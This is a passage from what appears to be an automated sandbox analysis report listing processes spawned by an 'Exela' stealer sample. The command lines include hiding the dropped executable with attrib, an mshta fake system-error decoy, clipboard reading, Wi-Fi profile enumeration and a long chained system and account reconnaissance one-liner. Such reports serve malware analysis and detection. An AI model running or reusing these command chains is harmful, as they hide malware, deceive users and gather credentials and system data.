                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:35
                                                                                                                                                                                                                                    Start time:06:50:11
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
                                                                                                                                                                                                                                    Imagebase:0x7ff716d90000
                                                                                                                                                                                                                                    File size:23'040 bytes
                                                                                                                                                                                                                                    MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:36
                                                                                                                                                                                                                                    Start time:06:50:12
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:37
                                                                                                                                                                                                                                    Start time:06:50:12
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:38
                                                                                                                                                                                                                                    Start time:06:50:12
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:39
                                                                                                                                                                                                                                    Start time:06:50:12
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:40
                                                                                                                                                                                                                                    Start time:06:50:12
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\mshta.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
                                                                                                                                                                                                                                    Imagebase:0x7ff743e10000
                                                                                                                                                                                                                                    File size:14'848 bytes
                                                                                                                                                                                                                                    MD5 hash:0B4340ED812DC82CE636C00FA5C9BEF2
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:41
                                                                                                                                                                                                                                    Start time:06:50:12
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:tasklist
                                                                                                                                                                                                                                    Imagebase:0x7ff6b3960000
                                                                                                                                                                                                                                    File size:106'496 bytes
                                                                                                                                                                                                                                    MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:42
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:43
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:44
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:45
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "chcp"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:46
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:47
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "chcp"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:48
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:49
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:tasklist /FO LIST
                                                                                                                                                                                                                                    Imagebase:0x7ff6b3960000
                                                                                                                                                                                                                                    File size:106'496 bytes
                                                                                                                                                                                                                                    MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:50
                                                                                                                                                                                                                                    Start time:06:50:14
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:51
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:powershell.exe Get-Clipboard
                                                                                                                                                                                                                                    Imagebase:0x7ff741d30000
                                                                                                                                                                                                                                    File size:452'608 bytes
                                                                                                                                                                                                                                    MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:.Net C# or VB.NET
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:52
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:chcp
                                                                                                                                                                                                                                    Imagebase:0x7ff6bf2a0000
                                                                                                                                                                                                                                    File size:14'848 bytes
                                                                                                                                                                                                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:53
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:chcp
                                                                                                                                                                                                                                    Imagebase:0x7ff6bf2a0000
                                                                                                                                                                                                                                    File size:14'848 bytes
                                                                                                                                                                                                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:54
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:55
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:56
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:57
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:58
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\systeminfo.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:systeminfo
                                                                                                                                                                                                                                    Imagebase:0x7ff7515f0000
                                                                                                                                                                                                                                    File size:110'080 bytes
                                                                                                                                                                                                                                    MD5 hash:EE309A9C61511E907D87B10EF226FDCD
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:59
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:netsh wlan show profiles
                                                                                                                                                                                                                                    Imagebase:0x7ff699be0000
                                                                                                                                                                                                                                    File size:96'768 bytes
                                                                                                                                                                                                                                    MD5 hash:6F1E6DD688818BC3D1391D0CC7D597EB
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:60
                                                                                                                                                                                                                                    Start time:06:50:15
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WmiPrvSE.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                                    Imagebase:0x7ff7fb730000
                                                                                                                                                                                                                                    File size:496'640 bytes
                                                                                                                                                                                                                                    MD5 hash:60FF40CFD7FB8FE41EE4FE9AE5FE1C51
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:61
                                                                                                                                                                                                                                    Start time:06:50:16
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                                                    Imagebase:0x7ff7b4ee0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:62
                                                                                                                                                                                                                                    Start time:06:50:16
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\HOSTNAME.EXE
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:hostname
                                                                                                                                                                                                                                    Imagebase:0x7ff699e80000
                                                                                                                                                                                                                                    File size:14'848 bytes
                                                                                                                                                                                                                                    MD5 hash:33AFAA43B84BDEAB12E02F9DBD2B2EE0
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:63
                                                                                                                                                                                                                                    Start time:06:50:17
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:wmic logicaldisk get caption,description,providername
                                                                                                                                                                                                                                    Imagebase:0x7ff68b4c0000
                                                                                                                                                                                                                                    File size:576'000 bytes
                                                                                                                                                                                                                                    MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:65
                                                                                                                                                                                                                                    Start time:06:50:20
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:net user
                                                                                                                                                                                                                                    Imagebase:0x7ff7e2f70000
                                                                                                                                                                                                                                    File size:59'904 bytes
                                                                                                                                                                                                                                    MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:66
                                                                                                                                                                                                                                    Start time:06:50:20
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net1.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\net1 user
                                                                                                                                                                                                                                    Imagebase:0x7ff68a560000
                                                                                                                                                                                                                                    File size:183'808 bytes
                                                                                                                                                                                                                                    MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:67
                                                                                                                                                                                                                                    Start time:06:50:21
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\query.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:query user
                                                                                                                                                                                                                                    Imagebase:0x7ff720750000
                                                                                                                                                                                                                                    File size:17'408 bytes
                                                                                                                                                                                                                                    MD5 hash:29043BC0B0F99EAFF36CAD35CBEE8D45
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:68
                                                                                                                                                                                                                                    Start time:06:50:21
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\quser.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\quser.exe
                                                                                                                                                                                                                                    Imagebase:0x7ff664d10000
                                                                                                                                                                                                                                    File size:25'600 bytes
                                                                                                                                                                                                                                    MD5 hash:480868AEBA9C04CA04D641D5ED29937B
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:71
                                                                                                                                                                                                                                    Start time:06:50:21
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:net localgroup
                                                                                                                                                                                                                                    Imagebase:0x7ff7e2f70000
                                                                                                                                                                                                                                    File size:59'904 bytes
                                                                                                                                                                                                                                    MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:72
                                                                                                                                                                                                                                    Start time:06:50:21
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net1.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\net1 localgroup
                                                                                                                                                                                                                                    Imagebase:0x7ff68a560000
                                                                                                                                                                                                                                    File size:183'808 bytes
                                                                                                                                                                                                                                    MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:73
                                                                                                                                                                                                                                    Start time:06:50:22
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\net.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:net localgroup administrators
                                                                                                                                                                                                                                    Imagebase:0x7ff7e2f70000
                                                                                                                                                                                                                                    File size:59'904 bytes
